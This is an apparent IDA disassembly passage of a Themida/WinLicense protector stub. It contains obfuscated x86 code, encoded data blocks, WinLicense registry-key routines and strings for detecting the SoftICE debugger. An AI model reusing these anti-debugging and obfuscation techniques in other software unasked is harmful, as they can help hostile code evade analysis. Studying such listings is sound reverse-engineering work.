; ---------------------------------------------------------------------------
		lodsd
		mov	ebx, [edx]
		sbb	dword ptr [esi-13h], 0FF261D9Bh
		setalc


loc_5B3078:				; CODE XREF: Themida_:005B305Fj
		jmp	loc_5B308F
; ---------------------------------------------------------------------------
		db 9Ch,	0E5h, 4Eh
		dd 8C2EDC87h, 0D9E8BC06h, 0F8EB093Eh
		db 0A7h, 0EAh, 75h
; ---------------------------------------------------------------------------


loc_5B308F:				; CODE XREF: Themida_:loc_5B3078j
		jmp	loc_5B301B
; ---------------------------------------------------------------------------
		dd 51B001D6h, 97DC9EC9h, 0DAF60124h, 2DAA3454h
; ---------------------------------------------------------------------------


loc_5B30A4:				; CODE XREF: Themida_:005B3068j
		jmp	loc_5B30FE
; ---------------------------------------------------------------------------
		db 0EFh, 91h, 0E0h
		dd 45535525h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch,	2000407h
		dd 100h, 13002F00h, 21700h, 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B30FE:				; CODE XREF: Themida_:loc_5B30A4j
		jmp	loc_5B39E7
; ---------------------------------------------------------------------------
		push	7D3CBAEh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CC27h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CD50h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CEA3h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3CF10h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3D02Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D3D08Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 16h,	68h, 78h
; ---------------------------------------------------------------------------


loc_5B314C:				; CODE XREF: Themida_:loc_5B314Cj
		jmp	short loc_5B314C
; ---------------------------------------------------------------------------
		dw 669Ah
		dd 55ABECD9h, 3EBCDBC8h, 2AC6C4B1h, 0F9BBE29Dh,	0E5D25F99h
		dd 0D2BF4CA2h, 0BDAA37B1h, 0F29421DFh, 80244906h, 0B8A019FCh
		dd 57DB31DAh, 0EEDAC62Bh, 0B5284502h, 59C1228h,	0E665B976h
		dd 0C85F19F9h, 0F79678DCh, 0B71BD9B7h, 14A3FCFEh, 0E560F2AFh
		dd 0F7BF3D3h, 0F141FEEAh, 0D3FBA502h, 0D9C9573Ch, 0DBE84C38h
		dd 0FF6E2BF3h, 0C5FBA4D5h, 4488CA2Eh, 2C180493h, 0E8C0EEC8h
		dd 0B2D0F671h, 23BA5136h, 0B93D794h, 9A310376h,	25C3C1AEh
		dd 0FEDAB98h, 5538145Bh, 0EF674C00h, 76Ah, 48D50B73h, 36C3395Bh
		dd 25B24C49h, 0E9B5938h, 0FA876121h, 34565E3Fh,	47422FBCh
		dd 522F1CA9h, 7A1A0794h, 634FF17Eh, 0FC7FC7A6h,	3715FD19h
		dd 0F4793622h, 891228B4h, 28B4A1CCh, 0E78C2312h, 0C6A76450h
		dd 0FE1228B4h, 0ADEBD867h, 0AEDC6A4Fh, 36A25F4Bh, 8E19FC7Fh
		dd 7D1E0BF7h, 1D0AF683h, 0AF78678h, 7D7B1989h, 741401E6h
		dd 0A5FBC478h, 583DF6CBh, 6F1E0h, 5C84FA00h, 4AA6E2CFh
		dd 39B7D0BDh, 22C0BFACh, 0EEAA895h, 0D5D7C681h,	0C1AE3BB5h
		dd 0AE9B28C6h, 998613EDh, 0CE70FDFBh, 814825E2h, 947C19FCh
		dd 856321B6h, 17D5B3A0h, 34E38E32h, 0CD323C73h,	78A139h
		dd 21C30000h, 0AC998563h, 0F48110ECh, 0B5185116h, 24641228h
		dd 92EFDCC8h, 256BAD87h, 32C92418h, 1052B64Dh, 4466E75h
		dd 15018E1Dh, 5E9F46B1h, 0EDA81345h, 0F8B780Fh,	0A6D462F1h
		dd 7E6B5743h, 67FEE31Dh, 98121BD8h, 1BB219FAh, 3256432Fh
		dd 3AB4D1BEh, 0CEDDBEABh, 0FA985C11h, 0E5D16819h, 0FA994528h
		dd 51E87F19h, 3CBAD7C4h, 63CDF57h, 6F30000h, 0F2896E82h
		dd 35228563h, 1C099856h, 0AF9B807Ch, 0B46706C3h, 0C65D1228h
		dd 0C2F9A937h, 0A28E25C3h, 344452B6h, 8696DD22h, 24283AF7h
		dd 0F15519FAh, 4300262Ch, 19FA832Ah, 0C9F039Ah,	9D42D1DEh
		dd 0C8C7906h, 0A5D563F0h, 0A2F45844h, 48D4047Ch, 83402CBBh
		dd 21CE0160h, 0F4E1CD64h, 0DFCC5997h, 725F44A2h, 5722D612h
		dd 8DFEBD22h, 5C830A8h,	0ADD10000h, 0DFB9A633h,	0EEA79421h
		dd 0F7968310h, 37F6CF9h, 9D58E5h, 8512EEACh, 72FFFD98h
		dd 5DEA0485h, 47D41070h, 71FCB9A5h, 5319FC81h, 63218D6Bh
		dd 0E8AC9985h, 0B3A08514h, 0E7774AD5h, 0F138995Fh, 3599B1F0h
		dd 5AF10600h, 0F726D175h, 29860670h, 5B55CC12h,	6B39CE07h
		dd 0FFE41C7Eh, 0AEBF7C68h, 16122979h, 0BA1DF07Fh, 3FFFFFFEh
		dd 512F6321h, 8017AE93h, 7C9D0D9Bh, 0E19FD390h,	8E2519F9h
		dd 8D077301h, 0F9E19DD0h, 48A6DF19h, 1DD3B6A3h,	1703EF86h
		dd 0F9E2135Ah, 0C0C4B119h, 1A06952Ch, 0CAF9215Dh, 270CA321h
		dd 0B7494E3Bh, 0F8FF6B28h, 2DD821CAh, 0AAE448FEh, 93B62C80h
		dd 4867DE6Dh, 95496FF4h, 1A0h, 57DB31B7h, 0D513702Bh, 0D6C259F0h
		dd 0F9E70519h, 565BBF19h, 70C73EE3h, 0D53925BCh, 21790BFh
		dd 25E1EAA7h, 432156BAh, 725EC352h, 5BEA0485h, 0D443B49Eh
		dd 0C97B27F3h, 0BB786ED4h, 0F3D43AB2h, 9B177B12h, 3F2EEBD2h
		dd 85F3D4A6h, 0D4C057EEh, 0A5C31B17h, 2D12A9FBh, 220EF39Fh
		dd 76FE0565h, 3C28BF03h, 0C6A76450h, 0B70376FDh, 76FD73FAh
		dd 15BA5103h, 8202EF7Eh, 0ACECD966h, 26B79C50h,	4C310056h
		dd 475D4h, 0E0007E00h, 0CE226653h, 0BD335441h, 0A6444330h
		dd 926E2C19h, 61534A05h, 4D3AC721h, 3A27B44Ah, 25129F59h
		dd 5AFC8967h, 82BCB16Eh, 200819FCh, 22128042h, 1070951Dh
		dd 0ED4970D4h, 0EEAB972Eh, 19FC8302h, 523F2BC2h, 0C8A56231h
		dd 0FC19FC82h, 831A5310h, 13AA19FCh, 6B58E57Ch,	0FEEBD02Eh
		dd 0AFAE629Eh, 35F6CBA1h, 408D850h, 6D110000h, 9FF9E673h
		dd 0AEE7D461h, 0B7D6C350h, 0C3BFAC39h, 0C0DD9825h, 0C552AEECh
		dd 0B23FBDD8h, 9D2AC4C5h, 8714D0B0h, 313CF9E5h,	9319FC84h
		dd 6321CDABh, 0D5B3A085h, 47453217h, 0C008D6DCh, 0FB92FB8Dh
		dd 8C6A2916h, 61903BA7h, 83705C00h, 72951C07h, 0F2EEB17Dh
		dd 0F221CC5Bh, 28DD0B6Bh, 6050C712h, 7F39CD5Eh,	0FFFFFCFDh
		dd 306321A1h, 0C4A94743h, 0B4FD702Dh, 47F1228h,	13AA41E6h
		dd 0F9DE422Eh, 4FB3DD8Dh, 0A7D361F0h, 0BE55ABECh, 6B6515D2h
		dd 725F19FAh, 0A4C98615h, 2019FA6Bh, 128EF289h,	8BC1C48Dh
		dd 0CCAA37CEh, 2E5CDC31h, 0FC22DFCBh, 0C819F9E6h, 0EAE14531h
		dd 9C4E295h, 0B79C5A39h, 95FA8920h, 124045A9h, 0F78D4684h
		dd 37C65D9Bh, 11B0097Ah, 41A0D2C2h, 0CC9A9855h,	932AC9E2h
		dd 0BA5EC2AEh, 0DE021CB7h, 0F6A432C1h, 6A2713h,	0C4D1B4E7h
		dd 6955412Dh, 0B4E6C1ACh, 0DD6C03D1h, 42FF90F0h, 0D1B4E72Bh
		dd 0DE6B0299h, 0A15593F1h, 4E945DB4h, 0EBCB4328h, 0F4000002h
		dd 0DCC9568Ah, 0CAB744B8h, 0B9A633CDh, 0A28F1CDAh, 0C07B08E0h
		dd 3DBBD7DDh, 2AC0C3B0h, 15D3B09Dh, 0FFFD9B88h,	27E4D072h
		dd 19FC8546h, 80B8967Eh, 4603EF12h, 19FC7FB4h, 0A08D7910h
		dd 8C7805E3h, 0D99BF128h, 42D108A8h, 0D5BA3455h, 93F6A8E8h
		dd 1F12C65Dh, 0C5F6CBEFh, 28C68E0h, 0E9950000h,	1B7D6AF7h
		dd 2A6B58E5h, 3B5A47D4h, 474330BDh, 3C611CA9h, 51DE1A78h
		dd 3ECB2164h, 29B63051h, 13A05C3Ch, 0A5C88571h,	1F19FC84h
		dd 36225937h, 0F1AE4849h, 1228B47Ch, 9422B148h,	5A1703E6h
		dd 19FC7FA0h, 0B4A18D24h, 9D8918D4h, 29C7C4B1h,	8DD0E044h
		dd 9773CCAAh, 4847100h,	826F5BE8h, 0CD5BEA06h, 4429E6DAh
		dd 8019FC4Eh, 0FC4085E9h, 8A5F0584h, 2D4A07F3h,	9719FC2Ah
		dd 6C2E1B00h, 2613AF94h, 9A563664h, 0BDE87603h,	0C8AD6A56h
		dd 0B519FC29h, 834B2B51h, 0A28F2902h, 0D17605E3h, 2868553Ah
		dd 5E4BE7CCh, 4935C23Eh, 77CDA05Dh, 60F719FCh, 7BA4E4D1h
		dd 8ADC08F4h, 0A455B984h, 978C0050h, 0AB977C13h, 15D2D9BEh
		dd 19FC3258h, 593ED56Ch, 5419D6C2h, 7019FC32h, 6B6D4AD9h
		dd 140BFAA5h, 0FFEB7874h, 0E7767212h, 89089AFAh, 32145916h
		dd 19B019FCh, 6F069D82h, 0D7B19E8Ah, 0C1D03419h, 2FD9993Eh
		dd 6F5CEB82h, 64F0D513h, 0E7D44AB9h, 3538F5A8h,	8F19FC9Ah
		dd 907C61F8h, 0FC999AD3h, 0FC932A19h, 0E400806Dh, 0D0286A57h
		dd 46CA0EEBh, 0D5B56C9Bh, 0E1A18E1Bh, 6E2E1B07h, 311E0392h
		dd 0C4B19650h, 58452AC6h, 77DBC03Ch, 0D258B270h, 8B389BFh
		dd 24CF7819h, 0A45C3EF5h, 8E6A2A17h, 74F9B6A2h,	5019FC09h
		dd 0E3D8F3ECh, 8118304Bh, 34210DF2h, 262FCB54h,	0BBCEE627h
		dd 19A83F24h, 6F20535Ch, 1D816DD2h, 12BFA8D7h, 0BD68F7FEh
		dd 3BB9D74Eh, 0C7A6634Fh, 0FDD26EC8h, 5D4AD766h, 0EFDCC13Fh
		dd 7C695593h, 9DD08D1Eh, 27D26EC8h, 856AF990h, 88BF6E19h
		dd 725FEC08h, 1DDC0912h, 0EFD4126Fh, 7771F458h,	41610CC9h
		dd 0CC63D26Fh, 2BB99E35h, 0C2AE9A7Fh, 6F416805h, 797714D2h
		dd 0C2AE3DD4h, 40527D05h, 23B047DAh, 0F2AFE595h, 0DA40527Bh
		dd 2F1BB249h, 141D6272h, 0E6CB62E2h, 0D05D9BF9h, 6247A5E3h
		dd 4763A9A5h, 3AB0D304h, 0CD2B6855h, 6298FBE8h,	7E1F0EB9h
		dd 81B86712h, 6B58E503h, 0DED5022Dh, 955439F1h,	9F851EA1h
		dd 0D66D0492h, 678504F1h, 0A7F29582h, 472683EAh, 13AA4104h
		dd 0A846412Eh, 20CF7AC3h, 3CEB963Fh, 779C8705h,	99945F34h
		dd 0A89522B9h, 1ED2B6E8h, 1F0BA239h, 7D7055BBh,	0F07FA402h
		dd 0CF331F0Bh, 5998F5C0h, 2C41FEBFh, 9804478Ah,	3FA7201h
		dd 1C000000h, 7D21E4C2h, 0D3B19E83h, 46433015h,	0B3D6C3A8h
		dd 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h,	0D9BBA88Dh
		db 23h,	3Eh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	5E34h
		mov	[esp], edx
		push	7D9Fh
		mov	[esp], edx
		mov	edx, 1F0C0E71h
		mov	ebx, 18DFC57Ah
		xor	ebx, edx
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	6352h
		mov	[esp], ebx
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0A9h
; ---------------------------------------------------------------------------


loc_5B39E7:				; CODE XREF: Themida_:loc_5B30FEj
		mov	eax, 7D3D33Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 323980F4h, 223F66F3h, 62D50A38h, 40D033D2h, 66BA3659h
		dd 186852F6h, 59E33962h, 42273D22h, 7419306Fh, 3759BD9Bh
		dd 405BBD97h, 5108831Dh, 33ABBACAh, 108EF8AFh, 3D69AD4Bh
		dd 5AD0E34h, 1C7886D3h,	15E29D4Fh, 3CAB17D1h, 14121418h
		dd 67AD45C4h, 1CDBE3E6h, 8DE9h,	0BD836000h, 7D11569h, 5840F00h
		dd 0E9000000h, 78h, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h
		dd 80000000h, 850F333Eh, 8, 0E946106Ah,	24h, 0F343E80h
		dd 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh, 406A0000h
		dd 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h,	8850F00h
		dd 83000000h, 15E908C4h, 8D000000h, 0D1262185h,	4895007h
		dd 96509624h, 95FF006Ah, 7D11AA9h, 85C6C361h, 7D131B5h
		dd 0A3E4684Dh, 4818A57h, 0DDD2C424h, 0F9B5FF19h, 8D07D130h
		dd 0D13B0185h, 89D0FF07h, 0D11AA985h, 5C1EEB07h, 535C2E5Ch
		dd 454349h, 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch
		dd 45434954h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 9FB2C357h, 60F7B539h
		dd 0E911BD36h, 13h, 0C1E44508h,	0EC4CD568h, 3ADDD55Bh
		dd 0F1E07FF7h, 89B5111Fh, 0D11699BDh, 5BD8307h,	7D134h
		dd 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h,	40Fh, 13D58589h
		dd 9D8D07D1h, 7D3E1B0h,	585BD3FFh, 2849BD83h, 740007D1h
		dd 0B8535017h, 40Fh, 13D58589h,	9D8D07D1h, 7D3DE9Fh, 585BD3FFh
		dd 59D2951h, 5A07D11Ch,	1665B533h, 0E18007D1h, 6AC08BD8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0E23CC350h, 958BC22Fh, 7D13305h, 13E9h, 48616B00h
		dd 992FDF89h, 5F65F6C2h, 2286CCDDh, 0FF28EC2Bh,	31B585C6h
		dd 664307D1h, 2668D08Bh, 81C1C842h, 2CDA2434h, 0BD8B7D46h
		dd 7D13261h, 1CC9B5FFh,	810F07D1h, 15h,	5E8h, 5C0FF00h
		dd 5E95A84h, 55000000h,	0E758C953h, 0DDE6805Eh,	3B01858Dh
		dd 0B53107D1h, 7D125FDh, 860FD0FFh, 6, 1A6D8D8Bh, 509007D1h
		dd 90FB8B66h, 20B8BF66h, 8589006Ah, 7D114E5h, 77A10C68h
		dd 0DE40BA7Dh, 34814270h, 77A18C24h, 0D595897Dh, 107D124h
		dd 0D1338995h, 89036A07h, 0D111019Dh, 8B006A07h, 0D114C18Dh
		dd 6A036A07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 9B4AC353h, 5B204320h, 6800Fh
		dd 0BD8B0000h, 7D12B79h, 0C60A3BBEh, 4E85Bh, 0
		dd 5250C000h, 0EE960h, 178D0000h, 1679177Eh, 0C5957259h
		dd 1E43B6D1h, 0AACBA1BBh, 310F612Bh, 5AFA8B66h,	800F5058h
		dd 9, 3870Fh, 8B660000h, 24448BCBh, 0F6BF6604h,	50008B56h
		dd 50310F52h, 0FFB8B52h, 8D0F31h, 5A000000h, 89585A58h
		dd 0E9042444h, 6, 29DB313Eh, 0F581033h,	80h, 0C59D8D00h
		dd 3107D3D4h, 0D12EAD8Dh, 27BE5007h, 89785372h,	13E8241Ch
		dd 0DB000000h, 91E844CCh, 7B8CF9FAh, 5F668441h,	17213B54h
		dd 860F5F02h, 6, 8F0Fh,	0FF5F0000h, 850F40D0h, 2A5h, 10E9h
		dd 0B2C23D00h, 5DD0D137h, 0E23E1036h, 5BCB45A9h, 8166587Ah
		dd 901F1BD6h, 14E8h, 0AC3BB100h, 9A78AAB1h, 31B470EFh
		dd 0D42C71h, 0A527F096h, 0B252509Fh, 5A310F64h,	0E9505958h
		dd 0Ah,	0A4E9C8E8h, 63188692h, 66902564h, 6A43B7BFh, 0EE900h
		dd 0E4800000h, 96A0C692h, 0AA903950h, 2724EDD1h, 0A075D468h
		dd 28E0F22h, 8B000000h,	243481F1h, 22A07554h, 2A51958Bh
		dd 36A07D1h, 2C29B52Bh,	6A07D1h, 6FCA8166h, 8B036A65h
		dd 0D12079BDh, 4E807h, 0
		dd 5051C000h, 84BF6652h, 66310FB0h, 585AF78Bh, 9E9505Ah
		dd 0FF000000h, 3A827294h, 17EDC206h, 424448Bh, 8BCF8Ah
		dd 52525060h, 8B310F5Ah, 66585AF1h, 619DA2B8h, 4244489h
		dd 0A26C97B9h, 0B5035800h, 7D124EDh, 0D4CE9D8Dh, 0E85007D3h
		db 13h,	0
word_5B3E72	dw 0			; DATA XREF: sub_58A891:loc_5A5F37o
					; sub_58A891+1BC16o
		dd 0A564E322h, 4899957Eh, 43643151h, 525B23C4h,	60BAB11Ch
		dd 61B134B6h, 1C895F61h, 6850F24h, 8B000000h, 0D1080D95h
		dd 81D0FF07h, 92A541E6h, 858D8B42h, 4007D131h, 173850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 291609C3h, 60E48120h, 69F78DBBh, 0F58D8B20h
		dd 6107D121h, 1359BD89h, 12E907D1h, 0A2000000h,	685F3AFh
		dd 0FFBC4DBh, 0A11C2271h, 9818057Ch, 0B58B5867h, 7D125EDh
		dd 0E8B96650h, 24048923h, 8589006Ah, 7D1199Dh, 4E8h, 8000h
		dd 850F5000h, 3, 8BF98B66h, 0E8042444h,	11h, 4D63CF57h
		dd 0DC9C0ED1h, 3A17E9ADh, 0B2741379h, 8B5E49h, 2DF598BEh
		dd 24448954h, 0D8A7B904h, 81585128h, 0D21A7FCEh, 0F5036A2Fh
		dd 0D781006Ah, 3900C637h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 662B25C3h, 4E68D78Bh
		dd 0E8CEDD90h, 0Ch, 821D5FA5h, 89967BEBh, 71C3C0CDh, 0FAE1BE66h
		dd 2434815Fh, 0EDD904Eh, 0D99D8DF8h, 0F07D3D4h,	683h, 0C18D8900h
		dd 5007D101h, 6A241C89h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0BDF9C355h,	570F314Ah
		dd 68E0Fh, 0B5890000h, 7D116A5h, 0FFCA8B66h, 850F40D0h
		dd 2Dh,	15830Fh, 10E90000h, 2D000000h, 167FBD0Ch, 6725A117h
		dd 7D96C729h, 51E8A018h, 2ED18166h, 66585A0Ah, 0E95291B9h
		dd 10Dh, 9D88BF8h, 0D133E99Dh, 0B58B4B07h, 7D11A99h, 398D8958h
		dd 0C607D125h, 0D131B585h, 6A4307h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8962C3h
		dd 7D13441h, 0F71FC168h, 14E881h, 93860000h, 97A0CDE9h
		dd 76EA3EC8h, 0EAD5962Fh, 9E9E3B5Bh, 815FBD8Bh,	2AE62404h
		dd 6A3E7Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0E3224EC3h, 0CD858950h, 5E07D100h, 1CC9B5FFh
		dd 0CE8107D1h, 7D29EB7h, 3B01858Dh, 0B52907D1h,	7D122F5h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 6A096C3h,	0DFBD2C88h, 3491BD8Bh, 605007D1h
		dd 831B6DBBh, 61C18B54h, 8B241C89h, 0D13071BDh,	75BD8B07h
		dd 0FF07D105h, 0E5BD23D0h, 8D07D11Ch, 0D170C49Dh, 359D8907h
		dd 6607D116h, 1B8D08Bh,	8B000000h, 0D10771B5h, 8BE3FF07h
		dd 89C18BCEh, 0D12B5D95h, 29C08B07h, 0D110859Dh, 5BD8307h
		dd 7D134h, 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h
		dd 40Fh, 20118589h, 9D8D07D1h, 7D3E217h, 585BD3FFh, 2849BD83h
		dd 740007D1h, 0B8535017h, 40Fh,	20118589h, 9D8D07D1h, 7D3DEB8h
		dd 585BD3FFh, 2501B58Bh, 0CB8B07D1h, 1941B589h,	0C08B07D1h
		dd 9E8h, 5272C400h, 0F537B66Dh,	0E960AA0Dh, 0Dh, 0DF81FDF7h
		dd 1684F197h, 4F7EFFBEh, 61D38BD2h, 12E95058h, 41000000h
		dd 23BCEFD6h, 59FDFF53h, 35DFEF0Fh, 761524EBh, 0C0815EC0h
		dd 6C41h, 18B18501h, 0DDBB07D1h, 6600001Ah, 388BCB8Bh
		dd 1FA19D89h, 0C78107D1h, 14077872h, 2BC58D23h,	0EF8107D1h
		dd 1FC280CFh, 0EF81D48Ah, 3A911254h, 68F0Fh, 9D890000h
		dd 7D11719h, 0E8833889h, 14E904h, 26D70000h, 0D90191D1h
		dd 0AD8B2E75h, 26D8F9EEh, 984CA1CCh, 0F4B10ABh,	1985h
		dd 0E9F28B00h, 2Ah, 92B4BB82h, 909EB5F6h, 87932459h, 0C18A4C4Bh
		dd 8D039856h, 7D117B9h,	0FFFF89E9h, 0ED6ABCFFh,	643D8DEFh
		dd 2BA2718Fh, 0AAE95E6Ch, 53000000h, 7774666Fh,	5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	7D3DCD3h
		dd 0DCCF858Dh, 8D5007D3h, 0D3DC3985h, 1685007h,	0FF800000h
		dd 0D3DCDF95h, 0FF196A07h, 0D3DCD3B5h, 6A016A07h, 68858D00h
		dd 5007D3DCh, 0DCCFB5FFh, 95FF07D3h, 7D10285h, 0DCCFB5FFh
		dd 95FF07D3h, 7D3DCDBh,	0DCCFB5FFh, 95FF07D3h, 7D129D9h
		dd 0D38589C3h, 8D07D3DCh, 0D3DCCF85h, 858D5007h, 7D3DC39h
		dd 16850h, 95FF8000h, 7D3DCDFh,	858D046Ah, 7D3DCD3h, 6A046A50h
		dd 92858D00h, 5007D3DCh, 0DCCFB5FFh, 95FF07D3h,	7D10285h
		dd 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh,	95FF07D3h
		dd 7D129D9h, 0D38589C3h, 8D07D3DCh, 0D3DCCF85h,	858D5007h
		dd 7D3DC39h, 16850h, 95FF8000h,	7D3DCDFh, 858D046Ah, 7D3DCD3h
		dd 6A046A50h, 7A858D00h, 5007D3DCh, 0DCCFB5FFh,	95FF07D3h
		dd 7D10285h, 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh
		dd 95FF07D3h, 7D129D9h,	0D38589C3h, 8D07D3DCh, 0D3DCCF85h
		dd 858D5007h, 7D3DC39h,	16850h,	95FF8000h, 7D3DCDFh, 858D046Ah
		dd 7D3DCD3h, 6A046A50h,	0A5858D00h, 5007D3DCh, 0DCCFB5FFh
		dd 95FF07D3h, 7D10285h,	0DCCFB5FFh, 95FF07D3h, 7D3DCDBh
		dd 0DCCFB5FFh, 95FF07D3h, 7D129D9h, 0D38589C3h,	8D07D3DCh
		dd 0D3DCCF85h, 858D5007h, 7D3DC39h, 16850h, 95FF8000h
		dd 7D3DCDFh, 858D046Ah,	7D3DCD3h, 6A046A50h, 55858D00h
		dd 5007D3DCh, 0DCCFB5FFh, 95FF07D3h, 7D10285h, 0DCCFB5FFh
		dd 95FF07D3h, 7D3DCDBh,	0DCCFB5FFh, 95FF07D3h, 7D129D9h
		dd 21BD83C3h, 7D120h, 0B840Fh, 9D8B0000h, 7D12021h, 894CC383h
		dd 0BD83C303h, 7D12021h, 0B840F00h, 8B000000h, 0D120219Dh
		dd 50C38307h, 83C30389h, 0D12021BDh, 840F0007h,	0Bh, 20219D8Bh
		dd 0C38307D1h, 0C3038954h, 2021BD83h, 0F0007D1h, 0B84h
		dd 219D8B00h, 8307D120h, 38958C3h, 21BD83C3h, 7D120h, 0B840Fh
		dd 9D8B0000h, 7D12021h,	895CC383h, 60C3C303h, 0DCD38589h
		dd 858D07D3h, 7D3DCCFh,	39858D50h, 5007D3DCh, 168h, 0DF95FF80h
		dd 6A07D3DCh, 0D3858D04h, 5007D3DCh, 6A046Ah, 0DCCA858Dh
		dd 0FF5007D3h, 0D3DCCFB5h, 8595FF07h, 8307D102h, 0D13405BDh
		dd 840F0007h, 0Ch, 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh
		dd 95FF07D3h, 7D129D9h,	8960C361h, 0D3DCD385h, 0CF858D07h
		dd 5007D3DCh, 0DC39858Dh, 685007D3h, 80000001h,	0DCDF95FFh
		dd 46A07D3h, 0DCD3858Dh, 6A5007D3h, 8D006A04h, 0D3DCAC85h
		dd 0B5FF5007h, 7D3DCCFh, 28595FFh, 0BD8307D1h, 7D13405h
		dd 0C840F00h, 0FF000000h, 0D3DCCFB5h, 0DB95FF07h, 0FF07D3DCh
		dd 0D3DCCFB5h, 0D995FF07h, 6107D129h, 858960C3h, 7D3DCD3h
		dd 0DCCF858Dh, 8D5007D3h, 0D3DC3985h, 1685007h,	0FF800000h
		dd 0D3DCDF95h, 8D046A07h, 0D3DCD385h, 46A5007h,	858D006Ah
		dd 7D3DCB3h, 0CFB5FF50h, 0FF07D3DCh, 0D1028595h, 5BD8307h
		dd 7D134h, 0C840Fh, 0B5FF0000h,	7D3DCCFh, 0DCDB95FFh, 0B5FF07D3h
		dd 7D3DCCFh, 29D995FFh,	0C36107D1h, 0D3858960h,	8D07D3DCh
		dd 0D3DCCF85h, 858D5007h, 7D3DC39h, 16850h, 95FF8000h
		dd 7D3DCDFh, 858D046Ah,	7D3DCD3h, 6A046A50h, 0BB858D00h
		dd 5007D3DCh, 0DCCFB5FFh, 95FF07D3h, 7D10285h, 3405BD83h
		dd 0F0007D1h, 0C84h, 0CFB5FF00h, 0FF07D3DCh, 0D3DCDB95h
		dd 0CFB5FF07h, 0FF07D3DCh, 0D129D995h, 60C36107h, 0DCD38589h
		dd 858D07D3h, 7D3DCCFh,	39858D50h, 5007D3DCh, 168h, 0DF95FF80h
		dd 6A07D3DCh, 0D3858D04h, 5007D3DCh, 6A046Ah, 0DCC2858Dh
		dd 0FF5007D3h, 0D3DCCFB5h, 8595FF07h, 8307D102h, 0D13405BDh
		dd 840F0007h, 0Ch, 0DCCFB5FFh, 95FF07D3h, 7D3DCDBh, 0DCCFB5FFh
		dd 95FF07D3h, 7D129D9h,	0C760C361h, 0D3DCD385h,	107h, 0CF858D00h
		dd 5007D3DCh, 0DC39858Dh, 685007D3h, 80000002h,	0DCDF95FFh
		dd 0C00B07D3h, 0F840Fh,	85C70000h, 7D3DCD3h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B47E6
; ---------------------------------------------------------------------------
		push	4
		lea	eax, [ebp+7D3DCD3h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7D3DC4Dh]
		push	eax
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D10285h]
		or	eax, eax
		jz	loc_5B47D0
		mov	dword ptr [ebp+7D3DCD3h], 0
		jmp	loc_5B47DA
; ---------------------------------------------------------------------------


loc_5B47D0:				; CODE XREF: Themida_:005B47BBj
		mov	dword ptr [ebp+7D3DCD3h], 1


loc_5B47DA:				; CODE XREF: Themida_:005B47CBj
		push	dword ptr [ebp+7D3DCCFh]
		call	dword ptr [ebp+7D129D9h]


loc_5B47E6:				; CODE XREF: Themida_:005B4794j
		popa
		mov	eax, [ebp+7D3DCD3h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7D3DCD3h],	eax
		lea	eax, [ebp+7D3DCCFh]
		push	eax
		lea	eax, [ebp+7D3DC39h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7D3DCDFh]
		push	4
		lea	eax, [ebp+7D3DCD3h]
		push	eax
		push	4
		push	0
